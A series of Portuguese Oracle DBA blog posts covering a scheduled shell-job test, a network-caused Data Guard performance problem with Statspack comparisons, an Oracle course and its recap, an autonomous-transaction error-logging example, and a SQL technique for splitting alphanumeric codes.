   8        end_date        => trunc(sysdate) + 30/24/60,
   9        enabled         => true,
  10        comments        => 'Teste para execucao de shell linux'
  11     );
  12  end;
  13  /

PL/SQL procedure successfully completed.

E verificar na user_scheduler_jobs.

SQL> select job_name, run_count, to_char(end_date, 'hh24:mi:ss') end_date,
   2         to_char(next_run_date, 'hh24:mi:ss') next_run_date
   3    from user_scheduler_jobs
   4  /

JOB_NAME                           RUN_COUNT END_DATE NEXT_RUN
------------------------------ ------------- -------- --------
TEST_SHELL                                 0 00:30:00 00:18:58

1 row selected.

SQL> /

JOB_NAME                           RUN_COUNT END_DATE NEXT_RUN
------------------------------ ------------- -------- --------
TEST_SHELL                                 1 00:30:00 00:20:58

1 row selected.

Ok, rodou o primeiro.

SQL> !cat /tmp/executou
Tue Jan 24 00:18:58 BRST 2006

SQL> /

JOB_NAME                           RUN_COUNT END_DATE NEXT_RUN
------------------------------ ------------- -------- --------
TEST_SHELL                                 2 00:30:00 00:22:58

1 row selected.

E agora segue até meu end_date ser alcançado!

SQL> !cat /tmp/executou
Tue Jan 24 00:18:58 BRST 2006
Tue Jan 24 00:20:58 BRST 2006

SQL> /

JOB_NAME                           RUN_COUNT END_DATE NEXT_RUN
------------------------------ ------------- -------- --------
TEST_SHELL                                 3 00:30:00 00:24:58

1 row selected.

SQL> !cat /tmp/executou
Tue Jan 24 00:18:58 BRST 2006
Tue Jan 24 00:20:58 BRST 2006
Tue Jan 24 00:22:58 BRST 2006

SQL> /

JOB_NAME                           RUN_COUNT END_DATE NEXT_RUN
------------------------------ ------------- -------- --------
TEST_SHELL                                 3 00:30:00 00:24:58

1 row selected.

SQL> /

JOB_NAME                           RUN_COUNT END_DATE NEXT_RUN
------------------------------ ------------- -------- --------
TEST_SHELL                                 5 00:30:00 00:28:58

1 row selected.

SQL> !cat /tmp/executou
Tue Jan 24 00:18:58 BRST 2006
Tue Jan 24 00:20:58 BRST 2006
Tue Jan 24 00:22:58 BRST 2006
Tue Jan 24 00:24:58 BRST 2006
Tue Jan 24 00:26:58 BRST 2006

SQL> /

no rows selected

SQL> !cat /tmp/executou
Tue Jan 24 00:18:58 BRST 2006
Tue Jan 24 00:20:58 BRST 2006
Tue Jan 24 00:22:58 BRST 2006
Tue Jan 24 00:24:58 BRST 2006
Tue Jan 24 00:26:58 BRST 2006
Tue Jan 24 00:28:58 BRST 2006

Problema de Performance.

2006-12-18T08:02:00.000-02:00

Algumas vezes na carreira de DBA, é preciso ir além do banco de dados para solucionar um problema de performance. Há três semanas, houve uma manutenção na infra-estrutura e os usuários de uma de nossas bases, começaram a perceber um aumento no tempo de resposta de suas aplicações diárias. Assim começa esse curioso problema de performance.

Quando fomos alertados, nossa equipe fez a primeira investigação e encontrou espera na gravação dos redos, resolvemos migrar os redologs para uma área exclusiva, já que esta atividade estava pendende havia algum tempo. Mesmo após a mudança, os usuários ainda reclamavam sobre desempenho levando um colega a reorganizar a base, porque notara linhas migradas. O tempo de export/import normal para a base de dados dos aplicativos era de no máximo 6 horas, qual a surpresa tomou 22 horas. Durante o procedimento de import, ele investigou as máquinas e estavam ociosas deixando a rede como óbvia ofensora nesse processo.

Noss ambiente está protegido por Dataguard com proteção Max Availability, onde é assegurado que não haverá perda de dados, portanto quando há commits, a gravação da redolog buffer é confirmada nos dois redos log files, tanto no primário quando no secundário. Portanto a rede é fundamental para esse processo. Além disso, o nó primário é composto por dois servidores em cluster (não RAC), em cluster do fabricante (HP).

Com o problema identificado, a questão agora era envolver a equipe de infra-estrutura na força-tarefa que havia sido criada para solucionar o issue, que até então era culpa exclusiva do banco de dados. A partir deste ponto, comecei a investigar a rede no sentido de provar o que realmente estava impactando o desempenho do banco. Buscamos as alterações em nosso sistema de Change Control para saber quais componentes havia sido alterados à época do início da ocorrência. vimos uma instalação de uma placa de rede no Switch do Servidor principal, portanto já era suficiente para envolver os engenheiros de rede, mas não, eles não vieram. O suporte nível um nos informou que não havia problema nas rotas e os gráficos não constatavam nenhuma mudança de comportamento na entrega dos pacotes. Voltaram-se os olhos novamente ao banco.

Quando surgiu a idéia de comparar velocidade nas rotas entre os nós primários e secundários dos outros ambientes que também estão usando Dataguard e não apresentávam problema. Voila - o RTT (Round-Trip Time) do pior era do 15ms (Milisegundos) e o box com problema era de 86ms.


$ ping -I 5 xxxx26 10240 3

PING xxxx26: 10240 byte packets
10240 bytes from 999.188.124.999: icmp_seq=0. time=87. ms
10240 bytes from 999.188.124.999: icmp_seq=1. time=87. ms
10240 bytes from 999.188.124.999: icmp_seq=2. time=86. ms

----xxxx26 PING Statistics----
3 packets transmitted, 3 packets received, 0% packet loss
round-trip (ms) min/avg/max = 86/87/87

Buscamos, com o comando traceroute verificar por onde o pacote viajava e finalmente o problema saltou aos olhos do pessoal de rede. O custo da entrega dos pacotes estava errada no switch e portanto forçava os pacotes irem até o meio do país e voltarem para o DataCenter correto. Uma vez resolvido o problema, vejamos a diferença nos statspacks (antes/depois).

ANTES


Load Profile
~~~~~~~~~~~~                            Per Second       Per Transaction
                                  ---------------       ---------------
                 Redo size:            358,551.08            936,950.59
             Logical reads:             21,765.45             56,876.54
             Block changes:                532.12              1,390.50
            Physical reads:                258.55                675.64
           Physical writes:                 65.15                170.25
                User calls:                 89.23                233.16
                    Parses:                 37.68                 98.46
               Hard parses:                  3.10                  8.11
                     Sorts:                 15.03                 39.28
                    Logons:                  0.15                  0.39
                  Executes:                108.45                283.39
              Transactions:                  0.38

Top 5 Timed Events
~~~~~~~~~~~~~~~~~~                                                     % Total
Event                                               Waits    Time (s) Ela Time
-------------------------------------------- ------------ ----------- --------
log file sync                                      13,355      13,008    69.20
enqueue                                               353       1,001     5.33
library cache pin                                     330         970     5.16
LNS wait on SENDREQ                                   379         960     5.11
LGWR wait on LNS                                  484,141         958     5.10
         -------------------------------------------------------------
                                                                  Avg
                                                    Total Wait   wait    Waits
Event                               Waits   Timeouts   Time (s)   (ms)     /txn
---------------------------- ------------ ---------- ---------- ------ --------
log file sync                      13,355     13,044     13,008    974     35.1
enqueue                               353        330      1,001   2837      0.9
library cache pin                     330        330        970   2939      0.9
LNS wait on SENDREQ                   379          0        960   2533      1.0
LGWR wait on LNS                  484,141     44,820        958      2  1,274.1
LGWR-LNS wait on channel          241,880     44,820        958      4    636.5
log file switch completion            283        261        266    938      0.7
buffer busy waits                      26         13         38   1478      0.1
local write wait                       35         34         34    968      0.1
db file sequential read             6,250          0         13      2     16.4
db file scattered read             24,772          0         11      0     65.2

DEPOIS


Load Profile
~~~~~~~~~~~~                            Per Second       Per Transaction
                                  ---------------       ---------------
                 Redo size:              8,662.55             64,046.10
             Logical reads:              3,298.27             24,385.57
             Block changes:                 23.56                174.21
            Physical reads:                  0.88                  6.53
           Physical writes:                  0.00                  0.00
                User calls:                 26.41                195.25
                    Parses:                  9.25                 68.40
               Hard parses:                  0.88                  6.53
                     Sorts:                  1.11                  8.21
                    Logons:                  0.05                  0.35
                  Executes:                 13.57                100.30
              Transactions:                  0.14

Top 5 Timed Events
~~~~~~~~~~~~~~~~~~                                                     % Total
Event                                               Waits    Time (s) Ela Time
-------------------------------------------- ------------ ----------- --------
PL/SQL lock timer                                   2,804       1,670    97.42
CPU time                                                           22     1.28
LGWR wait on LNS                                    1,098           5      .27
LGWR-LNS wait on channel                              483           5      .27
LNS wait on SENDREQ                                   132           5      .27
         -------------------------------------------------------------
                                                                  Avg
                                                    Total Wait   wait    Waits
Event                               Waits   Timeouts   Time (s)   (ms)     /txn
---------------------------- ------------ ---------- ---------- ------ --------
PL/SQL lock timer                   2,804      2,804      1,670    596     23.0
LGWR wait on LNS                    1,098        169          5      4      9.0
LGWR-LNS wait on channel              483        169          5     10      4.0
LNS wait on SENDREQ                   132          0          5     35      1.1
db file sequential read               799          0          4      5      6.5
log file sync                         108          0          4     33      0.9
process startup                         6          0          0     57      0.0
log file parallel write               129          0          0      2      1.1

Algumas diferenças:

Geração de redos, com a liberação da rede, os redos não acumulam mais.

Tempo de espera no evento "log file sync" de 13000 segundos para 33. Entendendo o evento: a janela do statspacks foi de 900 segundos em 60 sessões, portanto 13000/60 = 216 segundos em média de espera para sincronizar os redos em 900 segundos/sessão. Depois: 33/60 = 0.55 segudos em 900 segundos/sessão.

Nem sempre o problema está no banco e quase sempre o ônus da prova é do DBA.

Missão Cumprida

2006-12-10T23:50:00.000-02:00

Me sinto realizado, nossa turma foi um sucesso. Missão cumprida!

Aprendemos sobre a velha senhora, o funcionário que só carimba, a faxineira, o garçom, o cozinheiro e todos os que fazem parte da estrutura do banco de dados - em analogia é claro. Estranho para que lê, familiar para minha turma ;-)

O mercado tem nove novos padawans prontos para usarem a força. Fernando (da terra do chopp), Volnei, Eduardo, Douglas, Geisel, João, Edson, Luiz e Fernando (da Pro). Que turma! O que dizer? Eles participaram, criativos, tornaram nossa semana muito agradável.

Entenderam, não entenderam, brincaram, estudaram, perguntaram, questionaram acima de tudo. Cada um à sua maneira, deixou marcas - Fernando, o da terra do chopp, ensinou como devemos confiar na força e não nos palpites (perdemos uma base e eu, o almoço ;-), Volnei com idéias brilhantes de como ganhar mais dinheiro, depois de uma aula incentivadora sobre o tema, Edu - esse é figura! O Horácio (eu posso chamá-lo assim) o mais animado, embora tenha traumatizado criancinhas, foi o destaque, muito bem humorado, era responsável pelas lucesss e também pelo nosso pequeno happy hour (No Cais-Cais há uma placa: Turmas de Oracle Não São Bem-Vindas!). Douglas vai tomar de volta umas senhas que ele emprestou, Geisel nos proporcionou segurança na infra-estrutura (1 computador por aluno e nenhuma falha), Fernando o da Pro me ajudou com o Luiz que bebeu muuuuuito mas nem se compara ao João que ainda identificou vários xaropes na cerveja, dentre eles o de milho, framboesa e cassis. Para finalizar Edson, o mineiro, quietinho ele fez de suas anotações uma apostila melhor que a oficial.

Essa foi a espetacular turma da semana de 4 a 8 de dezembro de 2006. Um verdadeiro presente de Natal.

Parabéns senhores!

Márcio Portes.

Curso Oracle

2006-12-02T14:16:00.000-02:00

Na próxima semana, de 4 a 8 de dezembro/2006 das 9h00 as 14h30, vou ministrar curso oficial da Oracle (Work Shop I) na Ensof, quem quiser tomar um café após as 16h30, me avise. ;-)

abraços,
Marcio Portes.

PRAGMA AUTONOMOUS_TRANSACTION

2006-10-18T00:16:00.000-03:00

O pragma autonomous_transaction pode ser usado para capturar erros durante a execução mesmo após um rollback. Fiz um exemplo muito simples para um colega hoje.

Explicando o teste: a tabela "t_errors" receberá o erro da divisão por zero, porém há um insert antes que não se efetivará pelo saída de exceção "WHEN OTHERS" e, claro, não podia deixar de demonstrar como usar o WHEN OTHERS corretamente, ou seja, com um RAISE no final!

Esse teste me renderá 4 chopps! :-)


ops$marcio@LUKE9I> create table t_errors (
  2           dt date,
  3           x  varchar2(4000)
  4  );

Table created.

ops$marcio@LUKE9I> create table t ( dt date );

Table created.

ops$marcio@LUKE9I> select * from t;

no rows selected

ops$marcio@LUKE9I> select * from t_errors;

no rows selected

ops$marcio@LUKE9I> declare
  2      l_number number;
  3      procedure err ( p_errmsg in varchar2 )
  4      is
  5         PRAGMA AUTONOMOUS_TRANSACTION;
  6      begin
  7         insert into t_errors values ( sysdate, p_errmsg );
  8         commit;
  9      end;
 10  begin
 11      insert into t values ( sysdate );
 12      l_number := 10/0;
 13      commit;
 14  exception
 15       when others then
 16           rollback;
 17           err( sqlerrm );
 18           raise;
 19  end;
 20  /
declare
*
ERROR at line 1:
ORA-01476: divisor is equal to zero
ORA-06512: at line 18


ops$marcio@LUKE9I> select * from t;

no rows selected

ops$marcio@LUKE9I> select * from t_errors;

DT                  X
------------------- ------------------------------------------------------------
18/10/2006 01:11:44 ORA-01476: divisor is equal to zero

1 row selected.

Separação de String

2006-10-03T01:48:00.000-03:00

Outro dia respondi uma dúvida em um forum e achei interessante para compartilhar.

A dúvida

Gostaria de saber com criar uma funcao que faca o seguinte:
separe um codigo em prefixo, medida e sulfixo.
os codigos podem ter o seginte formato

XXX9999YYY
XX9999999YY
XXXX99

sedo que:

X é o prefixo e eh sempre um conjunto de caracteres
9 é a medida e eh sempre numerico
Y é o sulfixo, sempre caracteres, podendo existir ou nao.

o tamanho de cada cadeia de caracteres pode variar, ex:

XXXX; XXX; XX; XXXXX
999; 9999; 99999
YY; YYY; YYYYYY ou sem caracter.

Primeiro, vou reproduzir exatamente o exemplo dado.

ops$marcio:YODA10G> create table t ( x varchar2(15) );

Table created.

ops$marcio:YODA10G> insert into t values ( 'XXX9999YYY' );

1 row created.

ops$marcio:YODA10G> insert into t values ( 'XX9999999YY' );

1 row created.

ops$marcio:YODA10G> insert into t values ( 'XXXX99' );

1 row created.

Abaixo, a técnica: Vejo se consigo encontrar a posição onde começa e termina os numerais. Portanto:

XXX9999YYY
1234567890  = Incio,fim (4,7)

XX9999999YY
12345678901 = Inicio,fim (3,9)

Por que necessito disso? Porque eu poderei separar facilmente os valores usando a função SUBSTR mais a frente. A substr pede inicio e quantidade de bytes a separar, com o inicio e fim dos numeros na string, basta subtrair que terei o tamanho dos numeros.
Ex.

XXX9999YYY
1234567890  = Incio,fim (4,7)

tam=fim-inicio = tam=7-4; tam=3 (+1 da posição inicial).

    A substr, começanda a posição 4, extraindo 
    4 bytes são exatamente os numeros que estão 
    compreendidos na string.

XXX9999YYY
   +--+
1234 ----------= *posição inicial do SUBSTR + 4 bytes (9999).

Demonstrando:
ops$marcio:YODA10G>
ops$marcio:YODA10G> select x,
  2         instr(n, '9' ) prm,
  3         instr(n, '9', -1) ult
  4    from (
  5  select translate(x,'1234567890','9999999999') n, x
  6    from t
  7  )
  8  /

X                         PRM           ULT
--------------- ------------- -------------
XXX9999YYY                  4             7
XX9999999YY                 3             9
XXXX99                      5             6

3 rows selected.

ops$marcio:YODA10G>
ops$marcio:YODA10G> select x
  2       , substr(x, 1, instr(n,'9')-1 ) prefixo
  3       , substr(x, instr(n,'9'), (instr(n,'9', -1)+1) - instr(n,'9')) medida
  4       , substr(x, instr(n,'9', -1)+1 ) sulfixo
  5    from ( select x, translate(x,'1234567890','9999999999') n from t )
  6  /

X               PREFIXO         MEDIDA          SULFIXO
--------------- --------------- --------------- ---------------
XXX9999YYY      XXX             9999            YYY
XX9999999YY     XX              9999999         YY
XXXX99          XXXX            99

3 rows selected.

Agora incrementando o teste para que a query acima seja verdade.

ops$marcio:YODA10G> insert into t values ( 'ab1234567vc');

1 row created.

ops$marcio:YODA10G> insert into t values ( 'mn0z');

1 row created.

ops$marcio:YODA10G> insert into t values ( 'ooo123');

1 row created.

ops$marcio:YODA10G> select x
  2       , substr(x, 1, instr(n,'9')-1 ) prefixo
  3       , substr(x, instr(n,'9'), (instr(n,'9', -1)+1) - instr(n,'9')) medida
  4       , substr(x, instr(n,'9', -1)+1 ) sulfixo
  5    from ( select x, translate(x,'1234567890','9999999999') n from t )
  6  /

X               PREFIXO         MEDIDA          SULFIXO
--------------- --------------- --------------- ---------------
XXX9999YYY      XXX             9999            YYY
XX9999999YY     XX              9999999         YY
XXXX99          XXXX            99
ab1234567vc     ab              1234567         vc
mn0z            mn              0               z
ooo123          ooo             123

6 rows selected.

ops$marcio:YODA10G>